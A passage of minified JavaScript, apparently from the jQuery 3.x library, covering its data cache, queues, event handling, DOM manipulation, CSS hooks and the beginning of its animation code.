a.removeEventListener("load",S),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",S),a.addEventListener("load",S));var T=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},U=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function V(){this.expando=r.expando+V.uid++}V.uid=1,V.prototype={cache:function(a){var b=a[this.expando];return b||(b={},U(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase(b)]=c;else for(d in b)e[r.camelCase(d)]=b[d];return e},get:function(a,b){return void 0===b?this.cache(a):a[this.expando]&&a[this.expando][r.camelCase(b)]},access:function(a,b,c){return void 0===b||b&&"string"==typeof b&&void 0===c?this.get(a,b):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d=a[this.expando];if(void 0!==d){if(void 0!==b){Array.isArray(b)?b=b.map(r.camelCase):(b=r.camelCase(b),b=b in d?[b]:b.match(L)||[]),c=b.length;while(c--)delete d[b[c]]}(void 0===b||r.isEmptyObject(d))&&(a.nodeType?a[this.expando]=void 0:delete a[this.expando])}},hasData:function(a){var b=a[this.expando];return void 0!==b&&!r.isEmptyObject(b)}};var W=new V,X=new V,Y=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,Z=/[A-Z]/g;function $(a){return"true"===a||"false"!==a&&("null"===a?null:a===+a+""?+a:Y.test(a)?JSON.parse(a):a)}function _(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(Z,"-$&").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c=$(c)}catch(e){}X.set(a,b,c)}else c=void 0;return c}r.extend({hasData:function(a){return X.hasData(a)||W.hasData(a)},data:function(a,b,c){return X.access(a,b,c)},removeData:function(a,b){X.remove(a,b)},_data:function(a,b,c){return W.access(a,b,c)},_removeData:function(a,b){W.remove(a,b)}}),r.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=X.get(f),1===f.nodeType&&!W.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=r.camelCase(d.slice(5)),_(f,d,e[d])));W.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){X.set(this,a)}):T(this,function(b){var c;if(f&&void 0===b){if(c=X.get(f,a),void 0!==c)return c;if(c=_(f,a),void 0!==c)return c}else this.each(function(){X.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){X.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=W.get(a,b),c&&(!d||Array.isArray(c)?d=W.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return W.get(a,c)||W.access(a,c,{empty:r.Callbacks("once memory").add(function(){W.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length<c?r.queue(this[0],a):void 0===b?this:this.each(function(){var c=r.queue(this,a,b);r._queueHooks(this,a),"fx"===a&&"inprogress"!==c[0]&&r.dequeue(this,a)})},dequeue:function(a){return this.each(function(){r.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,b){var c,d=1,e=r.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};"string"!=typeof a&&(b=a,a=void 0),a=a||"fx";while(g--)c=W.get(f[g],a+"queueHooks"),c&&c.empty&&(d++,c.empty.add(h));return h(),e.promise(b)}});var aa=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ba=new RegExp("^(?:([+-])=|)("+aa+")([a-z%]*)$","i"),ca=["Top","Right","Bottom","Left"],da=function(a,b){return a=b||a,"none"===a.style.display||""===a.style.display&&r.contains(a.ownerDocument,a)&&"none"===r.css(a,"display")},ea=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e};function fa(a,b,c,d){var e,f=1,g=20,h=d?function(){return d.cur()}:function(){return r.css(a,b,"")},i=h(),j=c&&c[3]||(r.cssNumber[b]?"":"px"),k=(r.cssNumber[b]||"px"!==j&&+i)&&ba.exec(r.css(a,b));if(k&&k[3]!==j){j=j||k[3],c=c||[],k=+i||1;do f=f||".5",k/=f,r.style(a,b,k+j);while(f!==(f=h()/i)&&1!==f&&--g)}return c&&(k=+k||+i||0,e=c[1]?k+(c[1]+1)*c[2]:+c[2],d&&(d.unit=j,d.start=k,d.end=e)),e}var ga={};function ha(a){var b,c=a.ownerDocument,d=a.nodeName,e=ga[d];return e?e:(b=c.body.appendChild(c.createElement(d)),e=r.css(b,"display"),b.parentNode.removeChild(b),"none"===e&&(e="block"),ga[d]=e,e)}function ia(a,b){for(var c,d,e=[],f=0,g=a.length;f<g;f++)d=a[f],d.style&&(c=d.style.display,b?("none"===c&&(e[f]=W.get(d,"display")||null,e[f]||(d.style.display="")),""===d.style.display&&da(d)&&(e[f]=ha(d))):"none"!==c&&(e[f]="none",W.set(d,"display",c)));for(f=0;f<g;f++)null!=e[f]&&(a[f].style.display=e[f]);return a}r.fn.extend({show:function(){return ia(this,!0)},hide:function(){return ia(this)},toggle:function(a){return"boolean"==typeof a?a?this.show():this.hide():this.each(function(){da(this)?r(this).show():r(this).hide()})}});var ja=/^(?:checkbox|radio)$/i,ka=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,la=/^$|\/(?:java|ecma)script/i,ma={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ma.optgroup=ma.option,ma.tbody=ma.tfoot=ma.colgroup=ma.caption=ma.thead,ma.th=ma.td;function na(a,b){var c;return c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[],void 0===b||b&&B(a,b)?r.merge([a],c):c}function oa(a,b){for(var c=0,d=a.length;c<d;c++)W.set(a[c],"globalEval",!b||W.get(b[c],"globalEval"))}var pa=/<|&#?\w+;/;function qa(a,b,c,d,e){for(var f,g,h,i,j,k,l=b.createDocumentFragment(),m=[],n=0,o=a.length;n<o;n++)if(f=a[n],f||0===f)if("object"===r.type(f))r.merge(m,f.nodeType?[f]:f);else if(pa.test(f)){g=g||l.appendChild(b.createElement("div")),h=(ka.exec(f)||["",""])[1].toLowerCase(),i=ma[h]||ma._default,g.innerHTML=i[1]+r.htmlPrefilter(f)+i[2],k=i[0];while(k--)g=g.lastChild;r.merge(m,g.childNodes),g=l.firstChild,g.textContent=""}else m.push(b.createTextNode(f));l.textContent="",n=0;while(f=m[n++])if(d&&r.inArray(f,d)>-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=na(l.appendChild(f),"script"),j&&oa(g),c){k=0;while(f=g[k++])la.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="<textarea>x</textarea>",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var ra=d.documentElement,sa=/^key/,ta=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,ua=/^([^.]*)(?:\.(.+)|)/;function va(){return!0}function wa(){return!1}function xa(){try{return d.activeElement}catch(a){}}function ya(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)ya(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=wa;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(ra,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(L)||[""],j=b.length;while(j--)h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.hasData(a)&&W.get(a);if(q&&(i=q.events)){b=(b||"").match(L)||[""],j=b.length;while(j--)if(h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&W.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(W.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c<arguments.length;c++)i[c]=arguments[c];if(b.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,b)!==!1){h=r.event.handlers.call(this,b,j),c=0;while((f=h[c++])&&!b.isPropagationStopped()){b.currentTarget=f.elem,d=0;while((g=f.handlers[d++])&&!b.isImmediatePropagationStopped())b.rnamespace&&!b.rnamespace.test(g.namespace)||(b.handleObj=g,b.data=g.data,e=((r.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(b.result=e)===!1&&(b.preventDefault(),b.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,b),b.result}},handlers:function(a,b){var c,d,e,f,g,h=[],i=b.delegateCount,j=a.target;if(i&&j.nodeType&&!("click"===a.type&&a.button>=1))for(;j!==this;j=j.parentNode||this)if(1===j.nodeType&&("click"!==a.type||j.disabled!==!0)){for(f=[],g={},c=0;c<i;c++)d=b[c],e=d.selector+" ",void 0===g[e]&&(g[e]=d.needsContext?r(e,this).index(j)>-1:r.find(e,this,null,[j]).length),g[e]&&f.push(d);f.length&&h.push({elem:j,handlers:f})}return j=this,i<b.length&&h.push({elem:j,handlers:b.slice(i)}),h},addProp:function(a,b){Object.defineProperty(r.Event.prototype,a,{enumerable:!0,configurable:!0,get:r.isFunction(b)?function(){if(this.originalEvent)return b(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[a]},set:function(b){Object.defineProperty(this,a,{enumerable:!0,configurable:!0,writable:!0,value:b})}})},fix:function(a){return a[r.expando]?a:new r.Event(a)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==xa()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===xa()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&B(this,"input"))return this.click(),!1},_default:function(a){return B(a.target,"a")}},beforeunload:{postDispatch:function(a){void 0!==a.result&&a.originalEvent&&(a.originalEvent.returnValue=a.result)}}}},r.removeEvent=function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c)},r.Event=function(a,b){return this instanceof r.Event?(a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||void 0===a.defaultPrevented&&a.returnValue===!1?va:wa,this.target=a.target&&3===a.target.nodeType?a.target.parentNode:a.target,this.currentTarget=a.currentTarget,this.relatedTarget=a.relatedTarget):this.type=a,b&&r.extend(this,b),this.timeStamp=a&&a.timeStamp||r.now(),void(this[r.expando]=!0)):new r.Event(a,b)},r.Event.prototype={constructor:r.Event,isDefaultPrevented:wa,isPropagationStopped:wa,isImmediatePropagationStopped:wa,isSimulated:!1,preventDefault:function(){var a=this.originalEvent;this.isDefaultPrevented=va,a&&!this.isSimulated&&a.preventDefault()},stopPropagation:function(){var a=this.originalEvent;this.isPropagationStopped=va,a&&!this.isSimulated&&a.stopPropagation()},stopImmediatePropagation:function(){var a=this.originalEvent;this.isImmediatePropagationStopped=va,a&&!this.isSimulated&&a.stopImmediatePropagation(),this.stopPropagation()}},r.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(a){var b=a.button;return null==a.which&&sa.test(a.type)?null!=a.charCode?a.charCode:a.keyCode:!a.which&&void 0!==b&&ta.test(a.type)?1&b?1:2&b?3:4&b?2:0:a.which}},r.event.addProp),r.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(a,b){r.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj;return e&&(e===d||r.contains(d,e))||(a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b),c}}}),r.fn.extend({on:function(a,b,c,d){return ya(this,a,b,c,d)},one:function(a,b,c,d){return ya(this,a,b,c,d,1)},off:function(a,b,c){var d,e;if(a&&a.preventDefault&&a.handleObj)return d=a.handleObj,r(a.delegateTarget).off(d.namespace?d.origType+"."+d.namespace:d.origType,d.selector,d.handler),this;if("object"==typeof a){for(e in a)this.off(e,b,a[e]);return this}return b!==!1&&"function"!=typeof b||(c=b,b=void 0),c===!1&&(c=wa),this.each(function(){r.event.remove(this,a,c,b)})}});var za=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,Aa=/<script|<style|<link/i,Ba=/checked\s*(?:[^=]|=\s*.checked.)/i,Ca=/^true\/(.*)/,Da=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Ea(a,b){return B(a,"table")&&B(11!==b.nodeType?b:b.firstChild,"tr")?r(">tbody",a)[0]||a:a}function Fa(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function Ga(a){var b=Ca.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ha(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(W.hasData(a)&&(f=W.access(a),g=W.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c<d;c++)r.event.add(b,e,j[e][c])}X.hasData(a)&&(h=X.access(a),i=r.extend({},h),X.set(b,i))}}function Ia(a,b){var c=b.nodeName.toLowerCase();"input"===c&&ja.test(a.type)?b.checked=a.checked:"input"!==c&&"textarea"!==c||(b.defaultValue=a.defaultValue)}function Ja(a,b,c,d){b=g.apply([],b);var e,f,h,i,j,k,l=0,m=a.length,n=m-1,q=b[0],s=r.isFunction(q);if(s||m>1&&"string"==typeof q&&!o.checkClone&&Ba.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ja(f,b,c,d)});if(m&&(e=qa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(na(e,"script"),Fa),i=h.length;l<m;l++)j=e,l!==n&&(j=r.clone(j,!0,!0),i&&r.merge(h,na(j,"script"))),c.call(a[l],j,l);if(i)for(k=h[h.length-1].ownerDocument,r.map(h,Ga),l=0;l<i;l++)j=h[l],la.test(j.type||"")&&!W.access(j,"globalEval")&&r.contains(k,j)&&(j.src?r._evalUrl&&r._evalUrl(j.src):p(j.textContent.replace(Da,""),k))}return a}function Ka(a,b,c){for(var d,e=b?r.filter(b,a):a,f=0;null!=(d=e[f]);f++)c||1!==d.nodeType||r.cleanData(na(d)),d.parentNode&&(c&&r.contains(d.ownerDocument,d)&&oa(na(d,"script")),d.parentNode.removeChild(d));return a}r.extend({htmlPrefilter:function(a){return a.replace(za,"<$1></$2>")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=na(h),f=na(a),d=0,e=f.length;d<e;d++)Ia(f[d],g[d]);if(b)if(c)for(f=f||na(a),g=g||na(h),d=0,e=f.length;d<e;d++)Ha(f[d],g[d]);else Ha(a,h);return g=na(h,"script"),g.length>0&&oa(g,!i&&na(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(U(c)){if(b=c[W.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a){return T(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.appendChild(a)}})},prepend:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(na(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return T(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!Aa.test(a)&&!ma[(ka.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c<d;c++)b=this[c]||{},1===b.nodeType&&(r.cleanData(na(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=[];return Ja(this,arguments,function(b){var c=this.parentNode;r.inArray(this,a)<0&&(r.cleanData(na(this)),c&&c.replaceChild(b,this))},a)}}),r.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){r.fn[a]=function(a){for(var c,d=[],e=r(a),f=e.length-1,g=0;g<=f;g++)c=g===f?this:this.clone(!0),r(e[g])[b](c),h.apply(d,c.get());return this.pushStack(d)}});var La=/^margin/,Ma=new RegExp("^("+aa+")(?!px)[a-z%]+$","i"),Na=function(b){var c=b.ownerDocument.defaultView;return c&&c.opener||(c=a),c.getComputedStyle(b)};!function(){function b(){if(i){i.style.cssText="box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%",i.innerHTML="",ra.appendChild(h);var b=a.getComputedStyle(i);c="1%"!==b.top,g="2px"===b.marginLeft,e="4px"===b.width,i.style.marginRight="50%",f="4px"===b.marginRight,ra.removeChild(h),i=null}}var c,e,f,g,h=d.createElement("div"),i=d.createElement("div");i.style&&(i.style.backgroundClip="content-box",i.cloneNode(!0).style.backgroundClip="",o.clearCloneStyle="content-box"===i.style.backgroundClip,h.style.cssText="border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute",h.appendChild(i),r.extend(o,{pixelPosition:function(){return b(),c},boxSizingReliable:function(){return b(),e},pixelMarginRight:function(){return b(),f},reliableMarginLeft:function(){return b(),g}}))}();function Oa(a,b,c){var d,e,f,g,h=a.style;return c=c||Na(a),c&&(g=c.getPropertyValue(b)||c[b],""!==g||r.contains(a.ownerDocument,a)||(g=r.style(a,b)),!o.pixelMarginRight()&&Ma.test(g)&&La.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f)),void 0!==g?g+"":g}function Pa(a,b){return{get:function(){return a()?void delete this.get:(this.get=b).apply(this,arguments)}}}var Qa=/^(none|table(?!-c[ea]).+)/,Ra=/^--/,Sa={position:"absolute",visibility:"hidden",display:"block"},Ta={letterSpacing:"0",fontWeight:"400"},Ua=["Webkit","Moz","ms"],Va=d.createElement("div").style;function Wa(a){if(a in Va)return a;var b=a[0].toUpperCase()+a.slice(1),c=Ua.length;while(c--)if(a=Ua[c]+b,a in Va)return a}function Xa(a){var b=r.cssProps[a];return b||(b=r.cssProps[a]=Wa(a)||a),b}function Ya(a,b,c){var d=ba.exec(b);return d?Math.max(0,d[2]-(c||0))+(d[3]||"px"):b}function Za(a,b,c,d,e){var f,g=0;for(f=c===(d?"border":"content")?4:"width"===b?1:0;f<4;f+=2)"margin"===c&&(g+=r.css(a,c+ca[f],!0,e)),d?("content"===c&&(g-=r.css(a,"padding"+ca[f],!0,e)),"margin"!==c&&(g-=r.css(a,"border"+ca[f]+"Width",!0,e))):(g+=r.css(a,"padding"+ca[f],!0,e),"padding"!==c&&(g+=r.css(a,"border"+ca[f]+"Width",!0,e)));return g}function $a(a,b,c){var d,e=Na(a),f=Oa(a,b,e),g="border-box"===r.css(a,"boxSizing",!1,e);return Ma.test(f)?f:(d=g&&(o.boxSizingReliable()||f===a.style[b]),"auto"===f&&(f=a["offset"+b[0].toUpperCase()+b.slice(1)]),f=parseFloat(f)||0,f+Za(a,b,c||(g?"border":"content"),d,e)+"px")}r.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=Oa(a,"opacity");return""===c?"1":c}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":"cssFloat"},style:function(a,b,c,d){if(a&&3!==a.nodeType&&8!==a.nodeType&&a.style){var e,f,g,h=r.camelCase(b),i=Ra.test(b),j=a.style;return i||(b=Xa(h)),g=r.cssHooks[b]||r.cssHooks[h],void 0===c?g&&"get"in g&&void 0!==(e=g.get(a,!1,d))?e:j[b]:(f=typeof c,"string"===f&&(e=ba.exec(c))&&e[1]&&(c=fa(a,b,e),f="number"),null!=c&&c===c&&("number"===f&&(c+=e&&e[3]||(r.cssNumber[h]?"":"px")),o.clearCloneStyle||""!==c||0!==b.indexOf("background")||(j[b]="inherit"),g&&"set"in g&&void 0===(c=g.set(a,c,d))||(i?j.setProperty(b,c):j[b]=c)),void 0)}},css:function(a,b,c,d){var e,f,g,h=r.camelCase(b),i=Ra.test(b);return i||(b=Xa(h)),g=r.cssHooks[b]||r.cssHooks[h],g&&"get"in g&&(e=g.get(a,!0,c)),void 0===e&&(e=Oa(a,b,d)),"normal"===e&&b in Ta&&(e=Ta[b]),""===c||c?(f=parseFloat(e),c===!0||isFinite(f)?f||0:e):e}}),r.each(["height","width"],function(a,b){r.cssHooks[b]={get:function(a,c,d){if(c)return!Qa.test(r.css(a,"display"))||a.getClientRects().length&&a.getBoundingClientRect().width?$a(a,b,d):ea(a,Sa,function(){return $a(a,b,d)})},set:function(a,c,d){var e,f=d&&Na(a),g=d&&Za(a,b,d,"border-box"===r.css(a,"boxSizing",!1,f),f);return g&&(e=ba.exec(c))&&"px"!==(e[3]||"px")&&(a.style[b]=c,c=r.css(a,b)),Ya(a,c,g)}}}),r.cssHooks.marginLeft=Pa(o.reliableMarginLeft,function(a,b){if(b)return(parseFloat(Oa(a,"marginLeft"))||a.getBoundingClientRect().left-ea(a,{marginLeft:0},function(){return a.getBoundingClientRect().left}))+"px"}),r.each({margin:"",padding:"",border:"Width"},function(a,b){r.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f="string"==typeof c?c.split(" "):[c];d<4;d++)e[a+ca[d]+b]=f[d]||f[d-2]||f[0];return e}},La.test(a)||(r.cssHooks[a+b].set=Ya)}),r.fn.extend({css:function(a,b){return T(this,function(a,b,c){var d,e,f={},g=0;if(Array.isArray(b)){for(d=Na(a),e=b.length;g<e;g++)f[b[g]]=r.css(a,b[g],!1,d);return f}return void 0!==c?r.style(a,b,c):r.css(a,b)},a,b,arguments.length>1)}});function _a(a,b,c,d,e){return new _a.prototype.init(a,b,c,d,e)}r.Tween=_a,_a.prototype={constructor:_a,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||r.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(r.cssNumber[c]?"":"px")},cur:function(){var a=_a.propHooks[this.prop];return a&&a.get?a.get(this):_a.propHooks._default.get(this)},run:function(a){var b,c=_a.propHooks[this.prop];return this.options.duration?this.pos=b=r.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):_a.propHooks._default.set(this),this}},_a.prototype.init.prototype=_a.prototype,_a.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=r.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){r.fx.step[a.prop]?r.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[r.cssProps[a.prop]]&&!r.cssHooks[a.prop]?a.elem[a.prop]=a.now:r.style(a.elem,a.prop,a.now+a.unit)}}},_a.propHooks.scrollTop=_a.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},r.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},r.fx=_a.prototype.init,r.fx.step={};var ab,bb,cb=/^(?:toggle|show|hide)$/,db=/queueHooks$/;function eb(){bb&&(d.hidden===!1&&a.requestAnimationFrame?a.requestAnimationFrame(eb):a.setTimeout(eb,r.fx.interval),r.fx.tick())}function fb(){return a.setTimeout(function(){ab=void 0}),ab=r.now()}function gb(a,b){var c,d=0,e={height:a};for(b=b?1:0;d<4;d+=2-b)c=ca[d],e["margin"+c]=e["padding"+c]=a;return b&&(e.opacity=e.width=a),e}function hb(a,b,c){for(var d,e=(kb.tweeners[b]||[]).concat(kb.tweeners["*"]),f=0,g=e.length;f<g;f++)if(d=e[f].call(c,b,a))return d}function ib(a,b,c){var d,e,f,g,h,i,j,k,l="width"in b||"height"in b,m=this,n={},o=a.style,p=a.nodeType&&da(a),q=W.get(a,"fxshow");c.queue||(g=r._queueHooks(a,"fx"),null==g.unqueued&&(g.unqueued=0,h=g.empty.fire,g.empty.fire=function(){g.unqueued||h()}),g.unqueued++,m.always(function(){m.always(function(){g.unqueued--,r.queue(a,"fx").length||g.empty.fire()})}));for(d in b)if(e=b[d],cb.test(e)){if(delete b[d],f=f||"toggle"===e,e===(p?"hide":"show")){if("show"!==e||!q||void 